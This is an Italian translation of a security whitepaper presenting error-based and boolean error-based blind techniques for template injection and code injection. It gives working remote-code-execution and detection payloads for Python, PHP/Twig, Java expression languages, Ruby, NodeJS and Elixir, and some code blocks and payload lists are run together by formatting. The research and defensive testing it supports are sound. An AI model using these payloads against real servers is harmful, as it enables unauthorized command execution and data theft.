vladko312/research_successful_errorsWhitepaper che introduce le tecniche Blind basate su Error e Boolean Error per SSTI e Code Injection, con payload universali per sei linguaggi di programmazione e integrazione in SSTImap.
[!NOTE] Questa è la seconda versione del whitepaper basata sui risultati che ho presentato prima del rilascio di SSTImap versione 1.3.1. Ulteriori miglioramenti saranno adattati a questo formato come versione 1.2 della ricerca in una data successiva.
Alcune categorie di vulnerabilità possono a prima vista sembrare ben note e piuttosto ovvie. Può sembrare che tutte le possibili tecniche per tali vulnerabilità siano note, quindi potrebbero essere scoperti solo payload per casi insoliti. Server-Side Template Injection (SSTI) e Code Injection sono spesso considerate tra queste categorie ben note.
A volte, per queste vulnerabilità si incontrano nuove tecniche con nomi auto-esplicativi. Molti ricercatori potrebbero considerare queste tecniche anch’esse ben note o persino ricordare di averle usate, ma in realtà la tecnica potrebbe esistere solo come nome comunemente inteso, senza ricerche, descrizioni o payload universali. Potrebbe essere menzionata un paio di volte insieme a payload per casi molto specifici, ma non verrebbe testata e il vero potenziale di quella tecnica potrebbe rimanere sconosciuto per anni.
Questa ricerca introduce due tecniche di questo tipo per Code Injection e SSTI: Error-Based e Boolean Error-Based Blind. Fornirò payload per Code Injection e SSTI in sei linguaggi di programmazione: Python, PHP, Java, Ruby, NodeJS e Elixir. Inoltre, fornirò payload di rilevamento universali, in grado di rilevare rapidamente anche iniezioni cieche.
Fornirò la cronologia completa della mia ricerca, dalla scoperta dei primi indizi fino alle conclusioni finali. Esplorerò anche il processo di creazione di nuovi payload per linguaggi di programmazione e template non menzionati in questa ricerca.
In questa ricerca mostrerò esempi di applicazioni pratiche delle nuove tecniche e condividerò potenziali aree per ulteriori ricerche. Tutti i payload forniti possono essere utilizzati per rilevare e sfruttare vulnerabilità in applicazioni reali. Inoltre, tutti i payload forniti sono stati aggiunti allo strumento open-source SSTImap, che facilita l'applicazione dei risultati di questa ricerca a obiettivi reali.
Le vulnerabilità di Server-Side Template Injection si verificano in siti web dinamici che utilizzano motori di template per il rendering lato server, quando l'input utente non attendibile viene inserito nel template prima che venga elaborato dal motore di template. Un attore malintenzionato può inserire sintassi di template valida, che verrebbe elaborata da un motore di template durante il rendering della pagina. Molti motori di template forniscono qualche forma di funzionalità di esecuzione di codice, che spesso porta a Remote Code Execution (RCE) sul server di destinazione. Questa ricerca si concentra sui motori di template che forniscono tali capacità in caso di sfruttamento.
Le vulnerabilità SSTI sono note dal 2015, e in quel periodo sono stati scoperti molti payload che forniscono esfiltrazione di informazioni, bypass di filtri e fuga dalla sandbox. Nonostante ciò, la maggior parte dei payload o rende il risultato direttamente sulla pagina o si concentra sul fatto stesso dell'esecuzione del codice, scartando i risultati prodotti da quel codice.
Un'altra tecnica SSTI ben nota è il Time-Based Blind, che consiste nell'aggiungere un ritardo al comando shell eseguito. Questa tecnica permette di determinare il successo dell'esecuzione del codice iniettato, ma richiede di indovinare il payload per l'esecuzione del comando del sistema operativo, il che rende più difficile rilevare SSTI cieco in un motore di template sconosciuto al ricercatore.
La classe di vulnerabilità SSTI e le tecniche di sfruttamento conosciute furono scoperte nel 2015 da James Kettle. Queste tecniche sono descritte in grande dettaglio nella sua ricerca “Server-Side Template Injection: RCE For The Modern Web App”. [^1] Nei dieci anni successivi, non sono state documentate nuove tecniche di sfruttamento. È stata scoperta solo una tecnica di rilevamento nel 2023, che utilizza payload poliglotti per testare più motori di template contemporaneamente. Questa tecnica è stata scoperta da Maximilian Hildebrand e descritta nella sua ricerca “Improving the Detection and Identification of Template Engines for Large-Scale Template Injection Scanning”. [^2] La tecnica si concentra sulla determinazione dei motori di template usando il numero minimo di richieste, ma funziona solo per contesti di iniezione semplici.
La maggior parte dei motori di template basati su linguaggi di programmazione interpretati, come PHP, NodeJS e Python, consentono direttamente di valutare le espressioni dei corrispondenti linguaggi di programmazione. Questa capacità ci permette di utilizzare i payload per una categoria più ampia di vulnerabilità di Code Injection, racchiudendoli nel formato corretto del tag del template.
La Code Injection può verificarsi anche senza SSTI, quando l'input utente non attendibile può raggiungere eval() o una funzione pericolosa simile.
Spesso si ritiene che lo sfruttamento della Code Injection sia semplicemente programmare nel linguaggio corrispondente,
quindi le tecniche e i payload sono documentati solo per esempi di vulnerabilità specifici, che richiedono di adattare il codice all'applicazione target.
La mancanza di tecniche di rilevamento più universali per Code Injection e SSTI porta all'inefficienza della scansione black box per iniezioni cieche di codice e template.
In questa ricerca verranno fornite due nuove tecniche per Code Injection e SSTI, così come payload per sei linguaggi di programmazione e payload di rilevamento generici. Le tecniche fornite estenderanno le capacità dello sfruttamento SSTI cieco, oltre a consentire la scansione cieca di Code Injection e SSTI senza dover indovinare il linguaggio di programmazione del codice iniettato.
I payload forniti in questa ricerca sono mirati al penetration testing pratico di applicazioni web reali. Tutti i payload presentati sono anche incorporati nei moduli dello strumento open-source per il rilevamento di SSTI e Code Injection chiamato SSTImap. [^3] Il supporto per le due nuove tecniche, così come i payload corrispondenti, sono stati aggiunti nella versione 1.3.0. Payload meno generali e più specifici per l'applicazione pratica delle nuove tecniche, forniti in questa ricerca, sono incorporati in moduli SSTImap aggiuntivi, che si trovano in un repository dedicato per i moduli “extra”. [^4]
Durante lo sviluppo dei payload per i moduli di SSTImap, ho incontrato limitazioni e scoperte che hanno agito come indizi che hanno portato alle tecniche presentate in questa ricerca. Ho incontrato diversi scenari di SSTI e Code Injection, in cui era impossibile ottenere l'output dal codice iniettato utilizzando le tecniche esistenti. Incontrando tali restrizioni, ho testato diverse idee per ottenere l'output, che alla fine hanno portato alla scoperta di due nuove tecniche documentate in questa ricerca.
Il primo indizio che suggeriva potenziali limitazioni è stato incontrato mentre aggiornavo i payload per il motore di template Dust.JS. Questo motore è considerato obsoleto e sembra abbandonato, mentre l'esecuzione del codice era possibile solo con le vecchie versioni di dustjs-helpers del 2015. Il modulo SSTImap per questo motore era stato ereditato dal codebase di Tplmap [^5] e migliorarlo era un compito a bassa priorità, ma il modulo causava molti falsi positivi in caso di motori di template semplici senza logica.
Per risolvere il problema, ho migliorato il payload, ma il motore di template e i payload per esso hanno attirato la mia attenzione.
L'iniezione del codice era possibile all'interno della condizione del blocco if, che veniva passata direttamente a eval(). [^6]
Il risultato non veniva visualizzato sulla pagina, quindi si considerava che la RCE sarebbe sempre stata cieca anche in caso di SSTI riflessa.
In quel momento, fare ricerche su un motore di template obsoleto per creare un nuovo payload era molto in basso nella mia lista di priorità, quindi ho deciso di non indagare su potenziali modi per ottenere l'output.
Ho incontrato il secondo indizio mentre sviluppavo payload per le nuove versioni del motore di template Twig. I payload per le versioni precedenti erano già stati corretti, quindi ho deciso di creare un nuovo modulo con payload aggiornati. Durante la ricerca di modi più moderni per sfruttare Twig, ho scoperto la CVE-2022-23614 che permetteva il bypass della sandbox utilizzando uno dei payload comuni per le versioni moderne. [^7]
Per il nuovo modulo SSTImap ho deciso di utilizzare un payload in grado di sfruttare quel bypass della sandbox, poiché funzionava anche per quasi tutte le versioni di Twig sfruttabili con i payload moderni.
Il bypass della sandbox era possibile passando una stringa contenente il nome di una funzione PHP come parametro al filtro |sort,
facendo sì che il template chiamasse quella funzione con due elementi dell'array come argomenti.
Similmente al caso di Dust.JS, l'output della funzione viene utilizzato internamente come condizione (in questo caso per ordinare l'array), quindi non viene restituito al contesto del template.
Questa limitazione non ostacola lo sfruttamento, poiché la funzione system() in PHP restituisce i risultati dell'esecuzione del comando del sistema operativo direttamente sulla pagina web, il che ci permette di ottenere l'output bypassando il motore di template.
Sono diventato curioso riguardo alla possibilità di ottenere l'output all'interno del motore di template per un potenziale impiego come parte di qualche bypass o di una nuova tecnica di sfruttamento SSTI. Non era necessario per creare un nuovo modulo per Twig, quindi ho deciso di non dedicare tempo allo sviluppo di nuovi payload per l'accesso al risultato dell'iniezione all'interno del template.
La vulnerabilità CVE-2025-1302 nel modulo Node.JS JSONPath Plus prima della versione 10.3.0 permette l'iniezione di codice JavaScript arbitrario accedendo al costruttore di funzioni all'interno della sintassi di condizione estesa per jsonpath. [^8] Ho deciso di creare un nuovo modulo SSTImap extra per il rilevamento e lo sfruttamento automatico di CVE-2025-1302 in caso di iniezione server-side di jsonpath.
Similmente a Dust.JS, l'iniezione del codice era possibile solo all'interno della condizione, quindi non c'era un modo diretto per ottenere l'output e renderizzarlo sulla pagina. Nonostante ciò, ho deciso di ricercare la possibilità di estrarre l'output, che alla fine mi ha portato al terzo indizio, suggerendo il potenziale che alla fine ha causato le scoperte discusse in questa ricerca.
Il modulo JSONPath Plus viene utilizzato per accedere ai dati all'interno di oggetti JSON.
In molti linguaggi di programmazione interpretati come JavaScript, quegli oggetti operano spesso implicitamente come puntatori per limitare il consumo di risorse.
Allo stesso tempo, il modulo JSONPath Plus permette di accedere all'oggetto che viene cercato usando la sintassi @root.
Ho trovato un modo per passare quell'oggetto nel codice iniettato all'interno della condizione, il che ha permesso di salvare l'output negli attributi dell'oggetto e poi accedervi usando la sintassi jsonpath iniettata.
Questo metodo è tutt'altro che un modo universale per accedere all'output, poiché limita pesantemente i contesti di iniezione sfruttabili per scenari di iniezione di codice riflessa. Ho ricercato altri potenziali modi per estrarre l'output, come l'inquinamento del prototipo, ma non sono riuscito a scoprire una tecnica più universale. Nonostante ciò, questa volta sono riuscito a estrarre l'output dalla condizione.
A differenza di tutti i casi precedenti, in cui le limitazioni sono state incontrate durante lo sviluppo dei payload, l'ultimo indizio che ha portato a questa ricerca è stato scoperto mentre esploravo un'applicazione reale. Stavo testando un costruttore di bot per Discord senza codice, che permetteva agli utenti di personalizzare i modelli di messaggi. Di per sé, il motore di template utilizzato a tale scopo non valutava alcun codice, ma aveva un tag dedicato per valutare espressioni matematiche.
Esaminando diversi messaggi di errore restituiti da quel tag, ho determinato che le espressioni venivano valutate usando il modulo Node.JS chiamato expr-eval.
Questo modulo permette la RCE attraverso l'accesso al costruttore Object che consente l'accesso arbitrario alle proprietà (CVE-2025-13204).
Ho modificato il payload per evitare di rompere la sintassi del tag del template, ma invece dei risultati dell'esecuzione del codice ho ottenuto solo NaN.
Sembra che il risultato di expr-eval venga convertito in un numero dal motore di template, il che impedisce la riflessione dell'output dell'esecuzione del codice. Tuttavia, il risultato viene convertito in un numero solo in caso di valutazione riuscita. In caso di errore, il template sostituisce il tag con il testo completo di un errore, che talvolta contiene parte del mio codice.
Ho deciso di esaminare la possibilità di estrarre i risultati dell'esecuzione del codice attraverso quelle parti di messaggi di errore. Esiste una tecnica che permette l'estrazione di query SQL attraverso messaggi di errore specificamente innescati. [^9] Ho presupposto che esistessero tecniche simili per Code Injection e SSTI.
Ho provato a cercare “Error-based SSTI” e altri potenziali nomi per tali tecniche di SSTI e Code Injection, tuttavia sono riuscito a trovare solo poliglotti basati su errori da un singolo articolo di ricerca del 2023 e una tecnica per determinare il motore di template osservando il messaggio di errore. L'unico risultato che era anche solo lontanamente simile a ciò che stavo cercando era un singolo payload per i template Freemarker creato dal ricercatore Nicolas Verdier. [^10]
Quel payload permetteva di determinare il successo dell'esecuzione del codice in caso di iniezione cieca attivando condizionalmente un errore. Una tecnica simile esiste per l'SQL Injection, il che ha confermato le mie ipotesi che tecniche simili potessero funzionare per Code Injection e SSTI.
Mi sono reso conto che la tecnica che stavo cercando non era stata documentata prima, quindi ho deciso di condurre questa ricerca per sviluppare i payload necessari. Inoltre, ho deciso di aggiungere quella tecnica al mio strumento open-source SSTImap.
Ho deciso di sviluppare payload che ci permettessero di innescare errori contenenti il risultato dell'esecuzione del codice come parte del messaggio di errore.
Una tecnica simile esiste già per le SQL Injection.
Ad esempio, CONVERT(INT, …) in SQL converte una stringa in un numero.
Se la stringa non rappresenta un numero valido, il database restituirà un testo di errore che contiene quella stringa.
Se quel messaggio di errore viene visualizzato all'utente, possiamo ottenere l'output anche da iniezioni altrimenti cieche.
Un approccio simile può essere utilizzato per SSTI e Code Injection. Alcuni messaggi di errore riflettono i dati forniti dall'utente, il che ci permette di utilizzare quegli errori per ottenere l'output del codice iniettato.
I linguaggi di programmazione di solito permettono agli utenti di creare errori con messaggi di errore personalizzati, ma spesso è impossibile utilizzare direttamente queste capacità durante lo sfruttamento della vulnerabilità. Nella maggior parte dei casi, l'iniezione consente solo la valutazione di espressioni, il che impedisce al codice iniettato di utilizzare costrutti del linguaggio necessari per sollevare errori o creare nuove classi di errore. Per rendere i miei payload più universali per una migliore copertura, ho deciso di concentrarmi su iniezioni in contesti di espressioni linguistiche, dove sono consentiti solo operatori di base, letterali e chiamate a funzioni.
Pertanto, per lo sfruttamento SSTI e Code Injection utilizzando questa tecnica, ho dovuto trovare messaggi di errore che riflettessero i dati forniti dall'utente. Nella maggior parte dei casi, i payload di Code Injection potevano essere utilizzati per sfruttare SSTI racchiudendo i payload con tag di template. Come parte di questa ricerca, tratterò i payload per cinque linguaggi di programmazione: Python, PHP, Ruby, NodeJS e Elixir, così come per i motori di template supportati da SSTImap, se tali payload differiscono significativamente dai payload del corrispondente linguaggio di programmazione. Inoltre, i payload per i motori di template basati su Java, così come i payload di rilevamento universali, saranno trattati in questo documento.
All'inizio della mia ricerca, ho deciso di trovare payload per il linguaggio di programmazione Python che uso spesso per le mie attività quotidiane. Inizialmente ho provato ad applicare lo stesso principio dell'SQL Injection convertendo la stringa in intero. In quel caso, il messaggio di errore riflette effettivamente la stringa fornita dall'utente, ma ho presto scoperto che le stringhe lunghe vengono troncate, quindi solo i primi 199 caratteri possono essere riflessi.
Ho deciso di cercare altri messaggi di errore che permettessero la riflessione di stringhe fornite dall'utente di lunghezza arbitraria.
L'accesso a un attributo inesistente usando la funzione getattr() si è rivelato innescare tale errore.
Di conseguenza, ho ottenuto getattr("", OUTPUT) come payload, che riflette la stringa OUTPUT senza alcuna restrizione di lunghezza.
Questo payload funziona per tutti i motori di template basati su Python testati, sebbene Jinja2 abbia richiesto alcune modifiche per chiamare la funzione Python getattr():```python3
{{ cycler.init.globals.builtins.getattr("", OUTPUT) }}
Inoltre, per il motore di template Jinja2 ho scoperto un altro payload che attiva l'errore *TemplateNotFound*: `{% include OUTPUT %}`.
Questo payload è stato aggiunto al vecchio modulo Jinja2 per SSTImap.
### PHP
Per lo sfruttamento basato su errori dell'iniezione di codice PHP ho scoperto molteplici messaggi di errore con diversa applicabilità per diversi motori di template.
Ad esempio, PHP permette di chiamare una stringa come funzione con il nome uguale al contenuto della stringa.
Se tale funzione non esiste, il messaggio di errore prodotto conterrà l'intera stringa fornita.
Di conseguenza, otteniamo un semplice payload: `OUTPUT()`
Questo payload non funziona nella maggior parte dei motori di template, quindi ho continuato la mia ricerca e ho scoperto l'errore attivato dal tentativo di aprire file inesistenti usando la funzione `fopen()`.
Questo payload funziona in quasi tutti i motori di template testati: `fopen(OUTPUT, "r")`
Inoltre, ho trovato la funzione `include()` che attivava un errore simile.
Il payload `include(OUTPUT)` o uno simile potrebbe essere usato nella maggior parte dei motori di template che forniscono capacità di ereditarietà dei template.
I payload che utilizzano `fopen()` e `include()` hanno fallito in alcuni casi.
Si è scoperto che queste funzioni causano **Warning** di PHP che potrebbero essere renderizzati all'interno dell'output del template a cui non abbiamo accesso.
Ho deciso di modificare il primo payload usando `call_user_func()` per chiamare una stringa come funzione senza usare la sintassi specifica di PHP.
Come risultato, ho ottenuto il payload: `call_user_func(OUTPUT)`, che attiva un **errore fatale**, interrompendo il rendering e riflettendo il messaggio di errore direttamente sulla pagina.
Comunemente usata per RCE, la funzione `system()` stampa l'output sulla pagina, ma restituisce solo la prima riga del risultato.
Per catturare l'output completo ho deciso di usare `shell_exec()`.
Questa funzione accetta esattamente un argomento, quindi ha funzionato bene per la maggior parte dei motori di template, incluse le vecchie versioni di **Twig**:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}
{%set OUTPUT=_self.env.getFilter("ls -la")%}
Per le versioni più recenti di Twig ho usato il filtro |map per preservare l'output, ma passava l'indice dell'array come secondo elemento, il che rendeva impossibile l'uso diretto della funzione shell_exec(). Per aggirare questa limitazione ho usato la funzione call_user_func() per chiamare shell_exec() e un dizionario invece di un array per controllare i valori degli indici:```php
{% set OUTPUT={"ls -la": "shell_exec"}|map("call_user_func")|join %}
Per attivare l'errore in Twig e ottenere i risultati dell'esecuzione possiamo usare il payload di **errore fatale** che richiama la funzione inesistente: `{{ [0]|map(OUTPUT) }}` o include il file inesistente: `{% include(OUTPUT) %}`
### Java
Java non fornisce una funzionalità universale di valutazione del codice integrata, quindi non esistono payload universali per Java.
Al contrario, si utilizzano linguaggi di espressione, come **Spring Expression Language** (**SpEL**).
Per quel linguaggio è possibile usare un semplice trucco di conversione di una stringa in un numero:```java
"".getClass().forName('java.lang.Integer').valueOf(OUTPUT)
Questo payload funzionerà anche per altri simili Linguaggi di Espressione.
Per verificare la sintassi SpEL, possiamo usare il modo specifico di SpEL per accedere alle classi: T(java.lang.Integer).valueOf(OUTPUT)
Per ottenere i risultati dell'esecuzione di comandi del sistema operativo come stringa possiamo usare il payload:```java T(java.lang.String).getConstructor(T(byte[])).newInstance(T(java.lang.Runtime).getRuntime().exec("…").inputStream.readAllBytes())
Un altro comune linguaggio di espressione utilizzato in Java è **OGNL**.
Questo linguaggio genera un errore contenente una stringa fornita dall'utente quando quella stringa viene utilizzata in un'operazione aritmetica: `OUTPUT/0`
Il risultato di RCE può essere convertito in stringa utilizzando questo payload:```java
new String(@java.lang.Runtime@getRuntime().exec("…").inputStream.readAllBytes())
Ho anche creato payload per due motori di template basati su Java supportati da SSTImap.
Ad esempio, i template Freemarker permettono una costruzione limitata di oggetti applicando il filtro ?new() alla stringa contenente il nome della classe corrispondente.
Se tale classe non esiste, il messaggio di errore rifletterà l'intera stringa.
Questo può essere usato per creare un payload semplice: ${ OUTPUT?new() }
Il motore di template Velocity supporta l'inclusione di template tramite la direttiva #include().
Per template inesistenti, il messaggio di errore rifletterà il nome fornito: #include(OUTPUT)
Il payload per Ruby può essere usato sia per Code Injection che per SSTI e sfrutta l'errore generato quando si accede a un file inesistente, comune per questa tecnica: File.read(OUTPUT)
Per la Code Injection basata su errori in NodeJS è possibile generare l'errore includendo un modulo inesistente usando la funzione require(), se accessibile nel contesto di injection: require(OUTPUT)
In alternativa, JavaScript genera un errore riflesso accedendo a una proprietà di undefined: ""["x"][OUTPUT]
Il linguaggio di programmazione Elixir riflette la stringa all'interno di un messaggio di errore quando tale stringa è usata come indice di una lista invece di un oggetto atom: [1, 2][OUTPUT]
Il risultato dell'esecuzione del comando OS può essere riflesso usando [1, 2][elem(System.shell(" … "), 0)]
Per il rilevamento basato su errori di SSTI e Code Injection abbiamo bisogno di un payload che generi un errore in qualsiasi linguaggio di programmazione. In tal caso, sarebbe possibile rilevare il linguaggio di programmazione tramite un tipico messaggio di errore, o almeno trovare le parole chiave che indicano la presenza di un errore, se il linguaggio non è ancora supportato.
La mia prima idea per creare un tale payload è stata di usare la divisione per zero, ma alcuni linguaggi come JavaScript non trattano tale payload come un errore, restituendo semplicemente NaN.
Per gestire questi casi ho deciso di aggiungere una chiamata a una funzione non definita: (1/0)+zxy()
Il nuovo payload ha generato un errore in NodeJS, ma ha causato diversi errori di sintassi in alcuni motori di template basati su PHP, complicando il rilevamento del linguaggio.
Per evitare il rilevamento precoce della funzione inesistente durante l'analisi del template, ho deciso di aggiornare il payload per utilizzare l'errore generato dall'accesso alla proprietà di undefined.
L'accesso agli attributi richiede la valutazione della prima parte, mentre nel caso di concatenazione di stringhe in PHP tutte le parti verranno valutate in runtime, iniziando con la divisione per zero.
Di conseguenza, ho creato un payload in grado di rilevare riflessioni verbose di messaggi di errore in caso di injection generiche: (1/0).zxy.zxy
Per il modulo SSTImap ho aggiunto il rilevamento dei messaggi di errore tipici per tutti e cinque i linguaggi di programmazione supportati, oltre alla ricerca per parole chiave per rilevare il tipo di errore se il linguaggio o il motore di template non è ancora supportato.
Dopo aver rilevato la riflessione verbosa dell'errore e determinato il linguaggio di programmazione tramite il testo dell'errore, dovremmo comunque trovare un messaggio di errore che rifletta il valore fornito dall'utente per creare payload per RCE basato su errori.
Di solito, tali errori possono essere generati quando si accede a file e moduli inesistenti, durante interazioni insolite con oggetti speciali come null o undefined, così come in caso di funzioni, classi o attributi inesistenti.
Al contrario, gli errori di sintassi non forniscono capacità di esfiltrazione di dati, poiché interrompono l'analisi del template prima che avvenga qualsiasi valutazione del codice iniettato.
Per un sfruttamento automatizzato di successo, è necessario assicurarsi che testi lunghi e su più righe non vengano troncati.
Inoltre, è importante prevenire situazioni in cui il risultato sarebbe uguale a qualcosa di valido che non genererebbe un errore.
Per questi casi, si dovrebbe aggiungere un prefisso che renda qualsiasi output non valido.
Ad esempio, è molto improbabile che il sito target abbia file, classi o attributi che iniziano con Y:/A:/.
La maggior parte dei server web e delle applicazioni moderne disabilitano l'output verboso degli errori, impedendo lo sfruttamento di Code Injection e SSTI basati su errori. In tali casi è impossibile ottenere il testo completo di un messaggio di errore, ma l'errore stesso può solitamente essere ancora rilevato. Questo ci permette di determinare il successo dell'injection cieca rilevando un errore generato condizionalmente.
In effetti, risposte diverse potrebbero rivelare l'esito dell'injection cieca.
Ad esempio, nel caso di SQL Injection Cieca Basata su Booleani, un payload come AND SUBSTRING((…), 1, 1) = 's' restituirebbe risultati solo se il valore target inizia con il carattere s.
Questa tecnica si basa su un comportamento diverso dell'applicazione nei casi in cui non vengono restituiti risultati.
Questo non è applicabile alla maggior parte dei casi di Code Injection e SSTI.
Tuttavia, esiste una tecnica simile chiamata SQL Injection Cieca Basata su Errori, in cui il valore target viene utilizzato per generare condizionalmente un errore in solo uno dei casi, senza interrompere l'altro: CASE WHEN 1=1 THEN 1 ELSE json('') END
Tale tecnica potrebbe essere adattata per funzionare con Code Injection e SSTI. Inoltre, ho già incontrato in precedenza un payload per quella tecnica. Si trattava di un payload per il motore di template Freemarker di Nicolas Verdier, precedentemente menzionato in questa ricerca. [^10]
I linguaggi di programmazione già ci permettono di avere condizioni che determinano quale codice verrà eseguito. Questo può essere realizzato utilizzando costrutti o operatori speciali del linguaggio. Tuttavia, analogamente alla tecnica basata su errori, ho deciso di evitare costrutti del linguaggio nei payload di Code Injection più universali, poiché non sarebbero accessibili in molti contesti di injection. Ho anche deciso di evitare l'uso dell'operatore ternario condizionale, poiché operatori così complessi potrebbero non essere supportati da molti motori di template e altri contesti di injection che utilizzano i propri parser.
Per evitare falsi positivi, l'errore dovrebbe essere generato nel caso in cui la nostra injection non abbia fornito un risultato valido, poiché potrebbe essere impossibile distinguere gli errori deliberatamente generati dalla nostra injection da altri errori che il payload potrebbe aver causato.
Per automatizzare i test per Code Injection Cieca e SSTI basati su errori booleani, avremmo bisogno di un modo per rilevare gli errori nelle risposte del server. Gli utenti potrebbero fornire espressioni regolari per rilevare pagine normali o di errore, ma potremmo anche tentare di rilevare gli errori confrontando il codice di risposta e la lunghezza, gli header e altri parametri con i corrispondenti parametri della risposta normale.
Indipendentemente dall'approccio scelto, avremmo bisogno di usare due coppie di payload simili. Differenze minime tra i payload in ciascuna coppia eviterebbero falsi positivi causati da errori del WAF o proxy, mentre l'uso di due coppie mitigherebbe i falsi positivi causati da problemi esterni casuali.
Per determinare la risposta normale dell'applicazione ho deciso di utilizzare payload numerici per evitare errori di sintassi nella maggior parte dei contesti di injection. Vengono confrontate più risposte per determinare i parametri più stabili della risposta dell'applicazione. La prima richiesta viene scartata per evitare interferenze da azioni che un'applicazione potrebbe compiere durante la prima connessione da un nuovo indirizzo IP.
Sono stati selezionati multipli parametri per il confronto delle richieste:
I parametri sono considerati stabili se rimangono gli stessi per tutte le risposte o se fluttuano entro il 5% dalla media (per valori numerici).
Per determinare la veridicità dei risultati dell'injection potremmo usare la divisione per un valore booleano.
Un valore vero verrebbe convertito in uno, che non genera un errore, mentre valori che valutano a False genererebbero un errore di divisione per zero.
Potremmo usare questa espressione come payload: 1 / ( OUTPUT )
Per rilevare l'injection si potrebbero usare queste due coppie di payload:
'a'.join('bc') == 'bac' e 'a'.join('bc') == 'abc'bool('False') == True e bool('True') == FalseL'esecuzione di codice è possibile usando bool(eval( … )), mentre l'esecuzione di comandi OS può essere verificata con os.popen( … )._proc.wait() == 0 a partire da Python 3.6.
Nella maggior parte dei motori di template basati su Python questi payload possono essere usati così come sono, mentre Jinja2 non permette l'accesso diretto alle funzioni built-in di Python. Di conseguenza, il payload per Jinja2 è un po' più complesso:```python3 {{ 1 / (not not cycler.init.globals.builtins.eval( … )) }}
### PHP
PHP consente anche di utilizzare payload come `1 / ( … )` per determinare il successo dell'iniezione.
Per rilevare l'iniezione, sono state scelte queste due coppie di payload:
- `'2' + '3' == 5` e `'2' + '5' == 3`
- `strlen('2') == 1` e `strlen('1') == 2`
I risultati della valutazione del codice possono essere accessibili usando `true && eval( … )`, e il codice di ritorno dell'esecuzione del comando OS può essere controllato con `pclose(popen( … , "wb")) == 0`
Questi payload funzionano per tutti i motori template testati tranne **Twig**.
Le vecchie versioni del motore template Twig ci permettono di utilizzare un payload come questo:```php
{{_self.env.registerUndefinedFilterCallback("shell_exec")}}{{1/(_self.env.getFilter("…&& echo SSTIMAP")|trim('\n') ends with "SSTIMAP")}}
È impossibile ottenere il codice di ritorno, quindi viene aggiunta una stringa nota alla fine dell'output in caso di successo, da verificare tramite il template engine. Un approccio simile funziona per le versioni più recenti di Twig:```php {{1/({" … &&echo SSTIMAP":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "SSTIMAP")}}
### Java
Ancora una volta, la mancanza di un modo universale di valutazione del codice Java richiede di creare payload diversi per ciascuno dei motori di template supportati.
Per **Spring Expression Language** ho usato la stessa idea di prima, ma ha richiesto alcune modifiche aggiuntive per le conversioni di tipo: `1/(( … )?1:0)+""`
L'operatore ternario viene usato per convertire il risultato in `0` o `1`, e la concatenazione di una stringa vuota viene usata per evitare errori causati da un tipo di ritorno errato.
Per i payload di rilevamento ho sostituito `1` con `"".getClass().forName('java.lang.Integer').valueOf('1')`, che ci permette di confermare che l'iniezione supporta codice **Java**.
Per le mie due coppie di payload di rilevamento, ho usato semplici addizioni di interi, controllando l'overflow di interi nella seconda coppia.
L'esecuzione dei comandi del sistema operativo è stata verificata confrontando il codice di ritorno della funzione `waitFor()` con zero:```java
"".getClass().forName('java.lang.Runtime').getRuntime().exec(" … ").waitFor()==0
Questi payload funzionerebbero anche per altri linguaggi di espressione simili.
Per assicurarci di avere un'iniezione SpEL, possiamo sostituirli con payload specifici per SpEL: T(java.lang.Integer).valueOf('1') e T(java.lang.Runtime).getRuntime().exec("…").waitFor()==0
I payload per le espressioni OGNL sono simili a quelli SpEL.
Ho usato le stesse coppie di payload usando addizioni di interi e lo stesso oracolo: 1/((…)?1:0)+""
La sintassi OGNL può essere confermata sostituendo 1 con @java.lang.Integer@valueOf('1')
Analogamente a SpEL, puoi ottenere il codice di ritorno dei comandi del sistema operativo usando waitFor():```java
@java.lang.Runtime@getRuntime().exec("…").waitFor()==0
Vale anche la pena menzionare che **OGNL** ha un modo insolito di convertire implicitamente i tipi.
Oltre all'ordine delle operazioni, anche i valori calcolati in precedenza influenzano le conversioni.
Mentre un payload come `1 * (123 + 456) + "abc" + 1 * (123 + 456)` otterrà il risultato atteso di `"579abc579"`, un payload simile `(123 + 456) + "abc" + (123 + 456)` inizierà a convertire gli interi in stringhe, restituendo `"579abc123456"`
Il payload principale per **Freemarker** è già stato creato da Nicolas Verdier [^10]:```java
${1/((…)?string('1','0')?eval)}
Per il rilevamento sono state utilizzate semplici coppie di payload, poiché il motore di template è già stato confermato dalla sintassi del payload principale:
1.0 == 1.0 e 1.0 == 0.12 > 1 e 1 > 2Per verificare i risultati dell'esecuzione dei comandi del sistema operativo ho deciso di utilizzare una tecnica già impiegata per Twig:```java "freemarker.template.utility.Execute"?new()(" … && echo SSTIMAP")?chop_linebreak?ends_with("SSTIMAP")
Per il motore di template Velocity possiamo usare le direttive `#if` e `#include`:
- `#if(false)#include("Y:/A:/true")#end` e `#if(true)#include("Y:/A:/false")#end`
- `#set($o=1.0)#if($o.equals(0.1))#include("Y:/A:/xxx")#end` e `#set($o=1.0)#if($o.equals(1.0))#include("Y:/A:/xxx")#end`
Per verificare l'esecuzione di comandi del sistema operativo, potremmo modificare un payload regolare per l'iniezione nel rendering:```java
…#set($res=$proc.exitValue())#if($res != 0)#include("Y:/A:/xxx")#end
In Ruby, non esiste un modo diretto per convertire valori da intero a booleano.
Questo rende il payload leggermente più complesso: 1/(!!( ... )&&1||0)
Queste coppie di payload possono essere usate per confermare l'iniezione Ruby:
(2 + 3).to_s == '5' e (2 + 5).to_s == '3''2'.length == 1 e '1'.length == 2I risultati della valutazione del codice possono essere verificati usando !!eval( ... ), mentre il successo dei comandi OS eseguiti può essere verificato usando system( … ) che non viene utilizzato per iniezioni renderizzate, poiché non restituisce l'output stesso.
In NodeJS, la divisione per zero non produce un errore, quindi il payload utilizza invece l'accesso agli attributi di undefined o dell'elemento esistente di una lista: [""][0 + !( … )]["length"]
Queste due coppie sono utilizzate per confermare NodeJS come linguaggio iniettato:
typeof(1) + 2 == "number2" e typeof(2) + 1 == "number2"parseInt("5x") == 5 e parseInt("x5") == 5La valutazione del codice può essere verificata direttamente usando eval(), e il codice di ritorno dei comandi OS eseguiti può essere verificato in NodeJS dalla versione 5.7 in poi usando questo payload:```node
require('child_process').spawnSync( … , options={shell:true}).status===0
### Elixir
**Elixir** consente di utilizzare la divisione per zero come oracolo, ma richiede la conversione esplicita in intero.
Di conseguenza, possiamo usare il payload: `1/(( … )&&1||0)`
Possiamo verificare la sintassi di **Elixir** usando queste coppie di payload:
- `String.length("2") == 1` e `String.length("1") == 2`
- `is_boolean(false) == true` e `is_boolean(true) == false`
